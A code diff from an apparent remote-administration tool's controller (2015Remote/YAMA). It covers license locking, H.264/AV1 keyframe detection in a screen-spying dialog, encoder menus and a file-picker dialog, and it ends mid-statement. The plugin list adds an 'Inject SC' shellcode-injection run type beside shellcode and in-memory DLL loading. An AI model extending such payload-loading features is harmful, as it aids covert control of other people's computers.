+    // IP 列表：本客户端首次 或 同客户端跨天 才重写（UpdateIPList 会在 disk 上合并）
-    // 格式: IP(机器名)|yyMMdd
+    if (!ip.empty() && (firstTime || ipDayChanged)) {
-    if (!ip.empty()) {
         std::string existingIPList = cfg.GetStr(deviceID, "IP", "");
         std::string newIPList = UpdateIPList(existingIPList, ip, machineName);
         cfg.SetStr(deviceID, "IP", newIPList);
+        cache.lastIPWriteDate = today;
     }
-    if (!location.empty()) {
+
+    if (!location.empty() && (firstTime || locationChanged)) {
         cfg.SetStr(deviceID, "Location", location);
     }
 
+    // —— 同步缓存（必须在落盘成功后）——
+    cache.lastFlushTime = now;
+    cache.lastPasscode  = passcode;
+    cache.lastHMAC      = hmac;
+    if (!location.empty()) {
+        cache.lastLocation = location;
+    }
+
     return true;
 }
 
 // 检查授权是否已被撤销
 bool IsLicenseRevoked(const std::string& deviceID)
 {
+    std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
     std::string iniPath = GetLicensesPath();
     config cfg(iniPath);
     std::string status = cfg.GetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);

server/2015Remote/CPasswordDlg.h

@@ -2,10 +2,23 @@
 
 #include <afx.h>
 #include <afxwin.h>
+#include <mutex>
 #include "Resource.h"
 #include "common/commands.h"
 #include "LangManager.h"
 
+// 全局 licenses.ini 互斥锁（Meyers singleton，跨翻译单元共享）。
+// 所有读写 licenses.ini 的函数入口必须加锁，否则在心跳并发下会出现
+// read-modify-write 丢更新（典型受害者：PendingQuota / IP 列表）。
+// 使用 recursive_mutex 是因为部分函数会嵌套调用（如 DecrementPendingQuota → ClearPendingRenewal）。
+std::recursive_mutex& LicensesIniMutex();
+
+// 让 UpdateLicenseActivity 内部缓存里某个 SN 的 entry 失效。
+// 必须在外部修改了授权（删除 / 重新创建 section）后调用，否则 cache 命中策略
+// 会跳过本应触发的"既往授权自动加入"路径，导致 disk 上的 section 不会重建。
+// 实现在 CPasswordDlg.cpp，需持 LicensesIniMutex（内部会自行加锁，可在已加锁线程嵌套调用）。
+void InvalidateLicenseActivityCache(const std::string& deviceID);
+
 // CPasswordDlg 对话框
 namespace TcpClient {
     std::string ObfuscateAuthorization(const std::string& auth);

server/2015Remote/LicenseFile.cpp

@@ -100,15 +100,17 @@ SNMatchResult ValidateLicenseSN(const std::string& licenseSN) {
         }
         return SNMatchResult::IPMismatch;
     } else {
-        // Hardware binding: check if matches current device ID
+        // 哈希 SN：源头由本机 BindType 决定（硬件 ID 或 master/公网 IP）。
-        // Use GetHardwareID() to respect HWIDVersion (V1 or V2)
+        // 接收机在生成 SN 时已配置好 BindType，这里直接读 settings 即可，
-        std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(0);
+        // 不能硬编码 0，否则 IP 绑定的授权会被误判为硬件不匹配。
+        std::string hardwareID = CMy2015RemoteDlg::GetHardwareID();
         std::string hashedID = hashSHA256(hardwareID);
         std::string currentDeviceID = getFixedLengthID(hashedID);
         if (licenseSN == currentDeviceID) {
             return SNMatchResult::Match;
         }
-        return SNMatchResult::HardwareMismatch;
+        int bindType = THIS_CFG.GetInt("settings", "BindType", 0);
+        return (bindType == 1) ? SNMatchResult::IPMismatch : SNMatchResult::HardwareMismatch;
     }
 }
 

server/2015Remote/PluginSettingsDlg.cpp

@@ -108,7 +108,7 @@ void CPluginSettingsDlg::LoadPluginsToList()
 {
     m_listPlugins.DeleteAllItems();
 
-    const char* runTypeNames[] = { "Shellcode", "内存DLL" };
+    const char* runTypeNames[] = { "Shellcode", "内存DLL", "Inject SC"};
     const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
 
     int index = 0;

server/2015Remote/ScreenSpyDlg.cpp

@@ -43,6 +43,66 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
 
 #define TIMER_ID 132
 
+// H.264 Annex B keyframe 探测：扫描 start code (00 00 01 / 00 00 00 01)，
+// 取后续 NAL header low 5 bits，命中 5 (IDR) / 7 (SPS) / 8 (PPS) 即认定为关键帧。
+static bool IsH264Keyframe(const uint8_t* data, size_t len)
+{
+    for (size_t i = 0; i + 4 < len; ++i) {
+        size_t nalOffset = 0;
+        if (data[i] == 0 && data[i+1] == 0 && data[i+2] == 0 && data[i+3] == 1) {
+            nalOffset = i + 4;
+        } else if (data[i] == 0 && data[i+1] == 0 && data[i+2] == 1) {
+            nalOffset = i + 3;
+        } else {
+            continue;
+        }
+        if (nalOffset >= len) continue;
+        uint8_t nalType = data[nalOffset] & 0x1F;
+        if (nalType == 5 || nalType == 7 || nalType == 8) return true;
+    }
+    return false;
+}
+
+// AV1 OBU keyframe 探测：扫描 OBU 链，遇到 OBU_SEQUENCE_HEADER (type 1) 即认定为关键帧。
+// FFmpeg AV1 编码器在每个 IDR 前必定插入 SEQ HDR，因此该判定与 H.264 NAL 5/7/8 语义对齐。
+static bool IsAv1Keyframe(const uint8_t* data, size_t len)
+{
+    size_t pos = 0;
+    while (pos < len) {
+        uint8_t hdr = data[pos];
+        uint8_t obu_type = (hdr >> 3) & 0x0F;
+        bool has_ext  = (hdr & 0x04) != 0;
+        bool has_size = (hdr & 0x02) != 0;
+        if (obu_type == 1 /*OBU_SEQUENCE_HEADER*/) return true;
+        pos++;
+        if (has_ext) {
+            if (pos >= len) return false;
+            pos++;
+        }
+        if (!has_size) return false;  // 无 size 字段：OBU 占满到包尾，无法继续解析
+        // LEB128 size
+        uint64_t sz = 0;
+        for (int i = 0; i < 8; ++i) {
+            if (pos >= len) return false;
+            uint8_t b = data[pos++];
+            sz |= (uint64_t)(b & 0x7F) << (7 * i);
+            if ((b & 0x80) == 0) break;
+        }
+        if (pos + sz > len) return false;
+        pos += (size_t)sz;
+    }
+    return false;
+}
+
+// 首字节嗅探：H.264 Annex B 首字节恒为 0x00（起始码）；AV1 OBU header 首字节
+// bit7=0、bits[3:6]=obu_type 1-15，典型值 0x08-0x78，绝不为 0x00。
+// 一字节即可干净区分两套码流，无需协议字段或编码端协商。
+static bool IsAnyKeyframe(const uint8_t* data, size_t len)
+{
+    if (len == 0) return false;
+    return data[0] == 0x00 ? IsH264Keyframe(data, len) : IsAv1Keyframe(data, len);
+}
+
 // 静态成员变量定义
 int CScreenSpyDlg::s_nFastStretch = -1;  // -1 表示未初始化
 
@@ -567,6 +627,26 @@ BOOL CScreenSpyDlg::OnInitDialog()
     __super::OnInitDialog();
     SetIcon(m_hIcon,FALSE);
 
+    // Determine session type FIRST so the window-show machinery below
+    // (SetWindowPlacement with showCmd=SW_MAXIMIZE, EnterFullScreen) can be
+    // skipped for hidden web sessions. Without this, the dialog briefly
+    // flashes on-screen — the hide used to happen ~200 lines later, after
+    // a chain of init work that the user could see in the meantime.
+    bool isMfcSession = WebService().IsMfcTriggered(m_ClientID);
+    if (isMfcSession) {
+        // MFC-triggered: clear the flag, don't register with WebService.
+        WebService().ClearMfcTriggered(m_ClientID);
+        // m_bIsWebSession remains false (default)
+    } else if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
+        // Web-triggered: register and hide upfront.
+        WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
+        m_bHide = true;
+        m_bIsWebSession = true;
+        ShowWindow(SW_HIDE);
+    }
+    Mprintf("[ScreenSpy] Dialog created for device %llu, isMfcSession=%d, isWebSession=%d\n",
+        m_ClientID, isMfcSession ? 1 : 0, m_bIsWebSession.load() ? 1 : 0);
+
     // 获取默认 IME 上下文（ImmAssociateContext 返回之前关联的上下文）
     // 先禁用再恢复，以获取原始上下文句柄
     m_hOldIMC = ImmAssociateContext(m_hWnd, NULL);
@@ -655,6 +735,12 @@ BOOL CScreenSpyDlg::OnInitDialog()
         // 音频菜单项
         SysMenu->AppendMenuL(MF_STRING, IDM_AUDIO_TOGGLE, "系统音频(&U)");
         SysMenu->CheckMenuItem(IDM_AUDIO_TOGGLE, m_Settings.AudioEnabled ? MF_CHECKED : MF_UNCHECKED);
+        SysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_H264_HARD, "启用 H264 硬编码");
+        SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
+        SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
+        SysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_AV1_HARD, "启用 AV1 硬编码");
+        SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
+        SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
 
         // 初始化勾选状态
         UpdateQualityMenuCheck(SysMenu);
@@ -730,11 +816,19 @@ BOOL CScreenSpyDlg::OnInitDialog()
     wp.rcNormalPosition.right = normalX + normalWidth;
     wp.rcNormalPosition.bottom = normalY + normalHeight;
     wp.showCmd = SW_MAXIMIZE;
-    SetWindowPlacement(&wp);
 
-    // 同时初始化 m_struOldWndpl，供全屏退出时使用
+    // Skip the placement + fullscreen machinery for hidden web sessions —
+    // those calls would briefly flash the dialog on the user's desktop
+    // before the early ShowWindow(SW_HIDE) above takes effect at WM_PAINT
+    // time. m_struOldWndpl still gets a sane snapshot so any defensive
+    // LeaveFullScreen path later has something to restore against.
+    if (!m_bIsWebSession) {
+        SetWindowPlacement(&wp);
         m_struOldWndpl = wp;
         m_Settings.FullScreen ? EnterFullScreen() : LeaveFullScreen();
+    } else {
+        m_struOldWndpl = wp;
+    }
 
     // 启动传输速率更新定时器 (1秒)
     SetTimer(4, 1000, NULL);
@@ -771,32 +865,9 @@ BOOL CScreenSpyDlg::OnInitDialog()
     if (pMain)
         ::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0);
 
-    // Determine session type: MFC or Web
+    // Session type detection and visibility moved to the top of this function
-    // Must check MfcTriggered FIRST - if MFC triggered this dialog, it's NOT a web session
+    // (right after __super::OnInitDialog) so SetWindowPlacement / EnterFullScreen
-    // even if WebTriggered is also true (happens when Web is already open for same device)
+    // above can be skipped for web sessions and avoid a visible flash.
-    bool isMfcSession = WebService().IsMfcTriggered(m_ClientID);
-    bool isWebSession = false;
-    if (isMfcSession) {
-        // MFC session: clear the flag, don't register with WebService
-        WebService().ClearMfcTriggered(m_ClientID);
-        // m_bIsWebSession remains false (default)
-    } else {
-        // Check if this is a Web session
-        isWebSession = WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions();
-
-        // Only register screen context for Web sessions
-        // MFC dialogs handle input directly via m_ContextObject, don't need WebService registry
-        // This prevents MFC close from deleting Web's context (they share same device_id key)
-        if (isWebSession) {
-            WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
-            m_bHide = true;
-            m_bIsWebSession = true;
-            ShowWindow(SW_HIDE);
-        }
-    }
-
-    Mprintf("[ScreenSpy] Dialog created for device %llu, isMfcSession=%d, isWebSession=%d\n",
-        m_ClientID, isMfcSession ? 1 : 0, isWebSession ? 1 : 0);
 
     return TRUE;
 }
@@ -1405,27 +1476,11 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
                     bChange = TRUE;
                 }
             }
-            // Broadcast H264 frame to web clients (only for Web session dialogs)
+            // Broadcast video frame to web clients (only for Web session dialogs)
-            // Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
+            // Format: [DeviceID:4][FrameType:1][DataLen:4][VideoData:N]
+            // 浏览器侧按首字节嗅探区分 H.264 / AV1，因此 packet 内不需要 codec 字段。
             if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
-                // Detect H264 keyframe by checking NAL unit type
+                bool isKeyFrame = IsAnyKeyframe((const uint8_t*)NextScreenData, NextScreenLength);
-                // NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS
-                bool isKeyFrame = false;
-                LPBYTE h264Data = (LPBYTE)NextScreenData;
-                for (ULONG i = 0; i + 4 < NextScreenLength; i++) {
-                    // Look for start code: 0x00 0x00 0x00 0x01 or 0x00 0x00 0x01
-                    if ((h264Data[i] == 0 && h264Data[i+1] == 0 && h264Data[i+2] == 0 && h264Data[i+3] == 1) ||
-                        (h264Data[i] == 0 && h264Data[i+1] == 0 && h264Data[i+2] == 1)) {
-                        int nalOffset = (h264Data[i+2] == 1) ? i + 3 : i + 4;
-                        if (nalOffset < (int)NextScreenLength) {
-                            int nalType = h264Data[nalOffset] & 0x1F;
-                            if (nalType == 5 || nalType == 7 || nalType == 8) {
-                                isKeyFrame = true;
-                                break;
-                            }
-                        }
-                    }
-                }
 
                 std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
                 uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
@@ -1861,11 +1916,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
     switch (nID) {
     case IDM_CONTROL: {
         m_bIsCtrl = !m_bIsCtrl;
+        m_bIsTraceCursor = !m_bIsCtrl;
         // 进入控制模式时重置放大状态
         if (m_bIsCtrl && m_bZoomedIn) {
             ResetZoom();
         }
         SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
+        SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
         SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
         // 控制模式：禁用本地 IME；查看模式：启用本地 IME
         ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
@@ -1904,6 +1961,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
         FCCHandler handler = nID == IDM_SAVEAVI ? ENCODER_MJPEG : ENCODER_H264;
         int code;
         if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
+            DeleteFile(m_aviFile); // 删除 AVIFileOpen 残留的 0 字节文件
             MessageBoxL(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n" + _TR("错误代码: ") +
                         CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION);
             m_aviFile = _T("");
@@ -2126,6 +2184,26 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
         }
         break;
     }
+    case IDM_ENABLE_H264_HARD: {
+        m_Settings.EncodeLevel = m_Settings.EncodeLevel ? LEVEL_H264_SOFT : LEVEL_H264_HARD;
+        SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
+        SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
+        SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
+        SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
+        BYTE bToken[] = {COMMAND_ENCODE_LEVEL, m_Settings.EncodeLevel };
+        m_ContextObject->Send2Client(bToken, sizeof(bToken));
+        break;
+    }
+    case IDM_ENABLE_AV1_HARD: {
+        m_Settings.EncodeLevel = m_Settings.EncodeLevel ? LEVEL_H264_SOFT : LEVEL_AV1_HARD;
+        SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
+        SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
+        SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
+        SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
+        BYTE bToken[] = { COMMAND_ENCODE_LEVEL, m_Settings.EncodeLevel };
+        m_ContextObject->Send2Client(bToken, sizeof(bToken));
+        break;
+    }
     }
 
     __super::OnSysCommand(nID, lParam);
@@ -2277,6 +2355,16 @@ void CScreenSpyDlg::EvaluateQuality()
 
     // 2. 计算目标等级
     int targetLevel = GetTargetQualityLevel(rtt, m_bUsingFRP);
+
+    // Web 会话只解码 H264。levels 0 (Ultra/DIFF) 和 1 (High/RGB565) 在网络好的时候
+    // 会被自适应控制器选中，但 device 切到那两个算法后浏览器的 WebCodecs decoder
+    // 就吃不下了，画面冻在最后一个 H264 帧上 (用户感受是 ~1 分钟后卡死,
+    // 因为 EvaluateQuality 启动 1 分钟才开始评估)。Clamp 到最高质量的 H264 等级
+    // 让自适应在 H264 区间内继续工作.
+    if (m_bIsWebSession && targetLevel < QUALITY_GOOD) {
+        targetLevel = QUALITY_GOOD;
+    }
+
     int currentLevel = m_AdaptiveQuality.currentLevel;
 
     if (targetLevel == currentLevel) {
@@ -2322,6 +2410,14 @@ void CScreenSpyDlg::ApplyQualityLevel(int level, bool persist)
 {
     if (level < 0 || level >= QUALITY_COUNT) return;
 
+    // Defense in depth: ALL paths that set quality level (adaptive controller,
+    // manual menu pick, restore from config, …) flow through here. Web
+    // sessions cannot use non-H264 levels — see EvaluateQuality for the
+    // failure mode explanation.
+    if (m_bIsWebSession && level < QUALITY_GOOD) {
+        level = QUALITY_GOOD;
+    }
+
     const QualityProfile& profile = GetQualityProfile(level);
     int oldMaxWidth = m_AdaptiveQuality.currentMaxWidth;
     int newMaxWidth = profile.maxWidth;

server/2015Remote/ScreenSpyDlg.h

@@ -8,28 +8,81 @@
 #include "ToolbarDlg.h"
 #include "2015RemoteDlg.h"
 
+#include "common/config.h"
+
+extern "C"
+{
+#include "libyuv\libyuv.h"
+}
+
+#if DISABLE_FFMPEG_FOR_TEST
+
+#define AV_CODEC_ID_H264 27
+#define AVERROR(e) (-(e))
+
+// 伪装不涉及内部成员直接访问的上下文指针
+typedef void AVCodecContext;
+typedef void AVCodec;
+
+// 伪装 AVPacket 结构体，补全被主程序访问的 data 和 size 成员
+struct AVPacket {
+    unsigned char* data;
+    int size;
+    long long pts;
+    long long dts;
+    int flags;
+};
+
+// 伪装 AVFrame 结构体，补全被主程序访问的 data 和 linesize 成员
+struct AVFrame {
+    unsigned char* data[8];
+    int linesize[8];
+    int width;
+    int height;
+    int format;
+};
+
+// 使用 extern "C" __inline 或者是 inline 关键字，直接就地实现函数体
+extern "C" {
+    __inline void av_frame_unref(AVFrame* frame) {
+        if (frame) {
+            for (int i = 0; i < 8; i++) { frame->data[i] = nullptr; frame->linesize[i] = 0; }
+        }
+    }
+    __inline AVCodec* avcodec_find_decoder(int id) { return nullptr; }
+    __inline void av_init_packet(AVPacket* pkt) { if (pkt) { pkt->data = nullptr; pkt->size = 0; } }
+    __inline AVCodecContext* avcodec_alloc_context3(const AVCodec* codec) { return nullptr; }
+    __inline void avcodec_free_context(AVCodecContext** avctx) { if (avctx) *avctx = nullptr; }
+    __inline int avcodec_open2(AVCodecContext* avctx, const AVCodec* codec, void** options) { return -1; }
+    __inline int avcodec_send_packet(AVCodecContext* avctx, const AVPacket* avpkt) { return -1; }
+    __inline int avcodec_receive_frame(AVCodecContext* avctx, AVFrame* frame) { return -1; }
+    __inline void avcodec_flush_buffers(AVCodecContext* avctx) { /* 空白实现 */ }
+}
+
+#else
 extern "C"
 {
 #include "libavcodec\avcodec.h"
 #include "libavutil\avutil.h"
-#include "libyuv\libyuv.h"
 }
-
 #ifndef _WIN64
 // https://github.com/Terodee/FFMpeg-windows-static-build/releases
 #pragma comment(lib,"ffmpeg/libavcodec.lib")
 #pragma comment(lib,"ffmpeg/libavutil.lib")
 #pragma comment(lib,"ffmpeg/libswresample.lib")
-
-#pragma comment(lib,"libyuv/libyuv.lib")
 #else
-#pragma comment(lib,"x264/libx264_x64.lib")
-#pragma comment(lib,"libyuv/libyuv_x64.lib")
 // https://github.com/ShiftMediaProject/FFmpeg
 #pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
 #pragma comment(lib,"ffmpeg/libavutil_x64.lib")
 #pragma comment(lib,"ffmpeg/libswresample_x64.lib")
 #endif
+#endif
+
+#ifndef _WIN64
+#pragma comment(lib,"libyuv/libyuv.lib")
+#else
+#pragma comment(lib,"libyuv/libyuv_x64.lib")
+#endif
 
 #pragma comment(lib, "Mfplat.lib")
 #pragma comment(lib, "Mfuuid.lib")
@@ -82,6 +135,8 @@ enum {
     IDM_RESTORE_CONSOLE,        // RDP会话归位
     IDM_RESET_VIRTUAL_DESKTOP,  // 重置虚拟桌面
     IDM_AUDIO_TOGGLE,           // 音频开关
+    IDM_ENABLE_H264_HARD,
+    IDM_ENABLE_AV1_HARD,
 };
 
 // 状态信息窗口 - 全屏时显示帧率/速度/质量

server/2015Remote/UIBranding.h

@@ -46,7 +46,7 @@
 
 // 程序版本号 [建议格式: X.Y.Z]
 // 影响：关于对话框、标题栏
-#define BRAND_VERSION           "1.3.3"
+#define BRAND_VERSION           "1.3.5"
 
 // 启动画面名称 [建议大写，更有 Logo 感]
 // 影响：启动画面 Logo 文字（大号艺术字体渲染）
@@ -293,6 +293,11 @@
 #define BRAND_LICENSE_MAGIC     "YAMA"      // 许可证魔数
 #define BRAND_EVENT_PREFIX      "YAMA"      // 进程事件名前缀
 #define BRAND_ENV_VAR           "YAMA_PWD"  // 环境变量名（set YAMA_PWD=密码）
+// Web UI 专用 admin 密码；优先级高于 BRAND_ENV_VAR。两者都未设置时退回到
+// 兼容行为（用 m_superPass）。隔离的目的是让公网 Web 登录密码与下级授权
+// 用的 master password 解耦——后者一旦泄漏影响面更大，应避免在公网登录
+// 时复用。与 Go 服务端的 YAMA_WEB_ADMIN_PASS 语义一致。
+#define BRAND_WEB_ENV_VAR       "YAMA_WEB_ADMIN_PASS"
 
 // --- 宽字符版本（自动生成）---
 #define BRAND_APP_NAME_W        _T(BRAND_APP_NAME)

server/2015Remote/ZstaPickerDlg.cpp

@@ -0,0 +1,260 @@
+#include "stdafx.h"
+#include "ZstaPickerDlg.h"
+#include "LangManager.h"
+#include <shobjidl.h>
+#include <atlconv.h>
+#include <algorithm>
+
+#ifdef _DEBUG
+#define new DEBUG_NEW
+#endif
+
+namespace {
+
+bool IsDirectoryPath(const std::string& p)
+{
+    DWORD attr = GetFileAttributesA(p.c_str());
+    return (attr != INVALID_FILE_ATTRIBUTES) && (attr & FILE_ATTRIBUTE_DIRECTORY);
+}
+
+// 构造一个无控件的 DLGTEMPLATE：cdit=0，控件由 OnInitDialog 动态创建。
+void BuildDialogTemplate(std::vector<BYTE>& out, LPCWSTR caption,
+                         short cx, short cy)
+{
+    out.clear();
+    auto append = [&](const void* p, size_t n) {
+        const BYTE* b = (const BYTE*)p;
+        out.insert(out.end(), b, b + n);
+    };
+    auto appendW = [&](WORD v) {
+        out.push_back((BYTE)(v & 0xFF));
+        out.push_back((BYTE)((v >> 8) & 0xFF));
+    };
+    auto appendWStr = [&](LPCWSTR s) {
+        size_t n = wcslen(s);
+        append(s, (n + 1) * sizeof(WCHAR));
+    };
+
+    DLGTEMPLATE dt = { 0 };
+    dt.style = DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER |
+               WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME;
+    dt.dwExtendedStyle = 0;
+    dt.cdit = 0;
+    dt.x = 0; dt.y = 0;
+    dt.cx = cx; dt.cy = cy;
+    append(&dt, sizeof(dt));
+    appendW(0);                          // no menu
+    appendW(0);                          // default dialog class
+    appendWStr(caption);                 // caption
+    appendW(8);                          // font point size
+    appendWStr(L"MS Shell Dlg");         // typeface
+
+    while (out.size() % 4) out.push_back(0); // DWORD align
+}
+
+} // namespace
+
+
+CZstaPickerDlg::CZstaPickerDlg(CWnd* parent)
+    : CDialog((LPCTSTR)NULL, parent)
+{
+}
+
+BEGIN_MESSAGE_MAP(CZstaPickerDlg, CDialog)
+    ON_BN_CLICKED(IDC_ZSTA_ADDFILES,   &CZstaPickerDlg::OnAddFiles)
+    ON_BN_CLICKED(IDC_ZSTA_ADDFOLDERS, &CZstaPickerDlg::OnAddFolders)
+    ON_BN_CLICKED(IDC_ZSTA_REMOVE,     &CZstaPickerDlg::OnRemove)
+    ON_WM_SIZE()
+END_MESSAGE_MAP()
+
+INT_PTR CZstaPickerDlg::DoModal()
+{
+    CString title = _TR("选择要压缩的文件 / 文件夹");
+    USES_CONVERSION;
+    BuildDialogTemplate(m_Template, T2CW(title), 360, 220);
+    InitModalIndirect((LPCDLGTEMPLATE)m_Template.data());
+    return CDialog::DoModal();
+}
+
+BOOL CZstaPickerDlg::OnInitDialog()
+{
+    CDialog::OnInitDialog();
+
+    CRect cli;
+    GetClientRect(&cli);
+
+    // 占位 rect，真正布局在 LayoutControls 里
+    CRect r0(0, 0, 10, 10);
+
+    m_List.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
+                  LVS_REPORT | LVS_SHOWSELALWAYS,
+                  r0, this, IDC_ZSTA_LIST);
+    m_List.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
+    m_List.InsertColumn(0, _TR("类型"), LVCFMT_LEFT, 60);
+    m_List.InsertColumn(1, _TR("路径"), LVCFMT_LEFT, 400);
+
+    auto mkBtn = [&](CButton& b, LPCTSTR text, int id, DWORD extra = 0) {
+        b.Create(text,
+                 WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON | extra,
+                 r0, this, id);
+    };
+    mkBtn(m_BtnAddFiles,   _TR("添加文件..."),   IDC_ZSTA_ADDFILES);
+    mkBtn(m_BtnAddFolders, _TR("添加文件夹..."), IDC_ZSTA_ADDFOLDERS);
+    mkBtn(m_BtnRemove,     _TR("移除选中"),      IDC_ZSTA_REMOVE);
+    mkBtn(m_BtnOK,         _TR("确定"),          IDOK, BS_DEFPUSHBUTTON);
+    mkBtn(m_BtnCancel,     _TR("取消"),          IDCANCEL);
+
+    // 子控件继承对话框的字体 (DS_SETFONT)
+    HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
+    if (hFont) {
+        m_List.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_BtnAddFiles.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_BtnAddFolders.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_BtnRemove.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_BtnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_BtnCancel.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+    }
+
+    LayoutControls(cli.Width(), cli.Height());
+    RefreshList();
+    return TRUE;
+}
+
+void CZstaPickerDlg::OnSize(UINT nType, int cx, int cy)
+{
+    CDialog::OnSize(nType, cx, cy);
+    if (m_List.GetSafeHwnd()) LayoutControls(cx, cy);
+}
+
+void CZstaPickerDlg::LayoutControls(int cx, int cy)
+{
+    const int margin = 10;
+    const int btnW   = 120;
+    const int btnH   = 26;
+    const int gap    = 6;
+
+    int listRight = cx - margin - btnW - margin;
+    if (listRight < margin + 100) listRight = margin + 100;
+
+    m_List.MoveWindow(margin, margin, listRight - margin, cy - margin * 2);
+
+    int x = listRight + margin;
+    int y = margin;
+    m_BtnAddFiles.MoveWindow(x, y, btnW, btnH);   y += btnH + gap;
+    m_BtnAddFolders.MoveWindow(x, y, btnW, btnH); y += btnH + gap;
+    m_BtnRemove.MoveWindow(x, y, btnW, btnH);
+
+    int bottomY = cy - margin - btnH;
+    m_BtnCancel.MoveWindow(x, bottomY, btnW, btnH);
+    m_BtnOK.MoveWindow(x, bottomY - btnH - gap, btnW, btnH);
+
+    // 让"路径"列填满剩余宽度
+    if (m_List.GetSafeHwnd()) {
+        CRect lr;
+        m_List.GetClientRect(&lr);
+        int w0 = m_List.GetColumnWidth(0);
+        int w1 = lr.Width() - w0 - GetSystemMetrics(SM_CXVSCROLL) - 4;
+        if (w1 > 100) m_List.SetColumnWidth(1, w1);
+    }
+}
+
+void CZstaPickerDlg::AddPath(const std::string& path)
+{
+    if (path.empty()) return;
+    if (std::find(m_Paths.begin(), m_Paths.end(), path) == m_Paths.end()) {
+        m_Paths.push_back(path);
+    }
+}
+
+void CZstaPickerDlg::RefreshList()
+{
+    m_List.DeleteAllItems();
+    for (size_t i = 0; i < m_Paths.size(); ++i) {
+        bool isDir = IsDirectoryPath(m_Paths[i]);
+        m_List.InsertItem((int)i, isDir ? _TR("文件夹") : _TR("文件"));
+        m_List.SetItemText((int)i, 1, CString(m_Paths[i].c_str()));
+    }
+}
+
+void CZstaPickerDlg::OnAddFiles()
+{
+    const DWORD MAX_BUF = 64 * 1024;
+    std::vector<TCHAR> buf(MAX_BUF, 0);
+    CFileDialog dlg(TRUE, NULL, NULL,
+                    OFN_ALLOWMULTISELECT | OFN_EXPLORER |
